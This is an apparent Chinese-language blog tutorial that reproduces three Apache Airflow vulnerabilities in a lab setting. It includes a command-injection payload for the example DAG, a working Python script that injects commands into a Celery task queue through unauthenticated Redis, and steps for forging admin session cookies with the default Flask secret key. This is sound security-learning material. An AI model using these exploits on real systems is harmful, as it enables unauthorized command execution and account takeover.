Apache Airflow

目录

[Apache Airflow是什么](#Apache Airflow是什么)

[CVE-2020-11978(Airflow 示例dag中的命令注入)](#CVE-2020-11978(Airflow 示例dag中的命令注入))

[CVE-2020-11981(Airflow Celery消息中间件命令执行)](#CVE-2020-11981(Airflow Celery消息中间件命令执行))

[CVE-2020-17526(Airflow 默认密钥导致的权限绕过)](#CVE-2020-17526(Airflow 默认密钥导致的权限绕过))


Apache Airflow是什么

Airflow是一个以编程方式编写,安排和监视工作流的平台。

使用Airflow将工作流编写任务的有向无环图(DAG),Airflow计划程序在遵循指定的依赖项,同时在一组工作线程上执行任务。丰富的命令使用程序使在DAG上执行复杂的调度变得轻而易举。可通过用户界面查看正在运行的管道,查看进度与排除故障。

CVE-2020-11978(Airflow 示例dag中的命令注入)

漏洞成因:管理web页面里面示例dag存在命令注入。

版本要求:Airflow < 1.10.10

步骤1:访问Airflow管理页面,启动example_trigger_target_dag。

编辑Configuration JSON中注入命令{"message":"'\";touch /tmp/airflow_dag_success;#"},点击提交

命令注入后需等待工作流执行成功。

步骤2:执行成功后查看是否成功执行

CVE-2020-11981(Airflow Celery消息中间件命令执行)

漏洞成因:利用中间件Celery自带的默认消息队列,在Redis里该list的默认队列名airflow.executors.celery_executor.execute_command,通过Redis未授权访问,写入命令到该任务。

版本要求:Apache Airflow < 1.10.10

Celery < 4.0

airflow.executors.celery_executor.execute_command是Apache Airflow中中间件Celery中关键的任务函数,功能是负责将任务分发给Celery worker节点执行,通过数组形式传递执行的命令及参数。

执行流程如下:

  • 接受命令和参数的数据作为输入[100,200],['touch','/tmp/file']
  • 通过Celery中间件(Redis/RabbitMQ)将任务序列化传输
  • Worker节点反序列化后调用系统接口执行命令

步骤1:该漏洞主要控制Redis未授权来将命令注入Celery中间件的任务队列中

利用脚本exploit_airflow_celery.py来完成操作

python 复制代码
import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

分析该脚本执行的操作:

  • 建立Redis连接,使用第一个参数作为连接地址
  • 定义原始字符串ori_str,该字符串是按celery元数据格式编写
  • 将原始字符串ori_str转换解析为字典格式,json.loads操作是将json字符串转换成Python中的字典对象
  • 建立命令数组command,这是关键部分,其中定义了要执行的命令
  • 建立了新的主题内容body,包含了主体body和其他参数,其他参数为空
  • 将新的body进行了base64编码并替换了原本task_dict中的body主体
  • 最后将制作好的task_dict序列化后推送到Redis的任务队列中

总结来说就是

  • 连接Redis
  • 修改celery的任务的内容
  • 重新推送任务,等待执行

安装Redis,运行脚本修改任务

步骤2:查看执行结果

docker-compose logs airflow-worker

看里面关键信息,在那个节点执行了该操作,这里是在容器2d569bda7480中

进去看

成功执行

CVE-2020-17526(Airflow 默认密钥导致的权限绕过)

漏洞成因:默认无需密钥登录,但是管理员可以通过指定webserver.authenticate=Ture来开启认证。在版本1.10.13之前,即使开启密钥认证,也可以通过默认密钥来绕过登录,并且伪造任意用户身份。

版本要求:Apache Aieflow < 1.10.13

Airflow有一个基于Flask(基于Python编写的轻量级web框架)开发web应用程序,该web程序使用Flask的无状态签名cookie来储存和管理身份验证信息。在安装时可以使用Airflow创建用户,该用户是管理员身份。

使用了默认的静态安全密钥对用户身份验证信息进行了签名,导致安全配置错误。当用户登录时,会产生一个默认的cookie,该cookie的名称为session。其中包含json格式的用户认证信息。json中名为user_id的密钥标识了登录的用户身份。该json使用airflow.cfg配置文件中字符串进行签名,该字符串在1.10.15到2.0.2版本之前,这个字符串默认是temporary_key。

静态字符签名问题,在本地部署相同版本的airflow,以管理员身份登录抓包,然后将地址定向到被攻击主机,拥有管理员权限后,可以查看其他用户的json字符串,也就是身份验证信息,抓取拿到本地破解就可以登录任意用户了。

步骤1:先获取名为session的cookie

使用curl的-v选项会显示请求和响应头

步骤2:使用flask-unsign来破解签名使用的secret_key

flask-unsign

  • -c选项,无论是加密,解密,修改都要通过该选项提供数据
  • -u,解密被加密的cookie
  • -s,指定签名操作,并且需要传递一个用于签名的secret_key

步骤3:破解出secret_key后,冒用管理员身份制作一个新的session(这是客户端登录的cookie,只是名称叫session)

步骤4:替换生成的cookie,尝试登录

成功登录

相关推荐
阿里云云原生6 小时前
阿里云两大 AI 原生实践荣获 2025 年度 OSCAR “开源+”典型案例
apache·rocketmq
wudl556611 小时前
Apache Flink Keyed State 详解之一
算法·flink·apache
洋就在江州1 天前
jeecgboot 使用apache poi excel导入带图片
java·apache·excel
没有余地 EliasJie1 天前
一站式搭建WordPress网站与Nginx RTMP流媒体服务
nginx·apache
Francek Chen1 天前
【IoTDB】时序数据库选型迷茫?Apache IoTDB 为何成工业场景优选?
大数据·数据库·apache·时序数据库·iotdb
Wang's Blog2 天前
Linux小课堂: SELinux安全子系统原理与Apache网站目录访问问题解决方案
linux·安全·apache
阿里云云原生2 天前
Apache RocketMQ × AI:面向 Multi-Agent 的事件驱动架构
apache·rocketmq
讲师-汪春波3 天前
[运维]宝塔 Apache环境使用CDN获取访客真实IP方法
运维·tcp/ip·apache·cdn
牛奶咖啡133 天前
zabbix实现监控Apache、Nginx、php-fpm应用的实操保姆级流程
nginx·apache·zabbix·php-fpm·zabbix监控apache·zabbix监控nginx·zabbix监控php-fpm
de之梦-御风3 天前
【工具分享】另一个免费开源的远程桌面服务-Apache Guacamole
开源·apache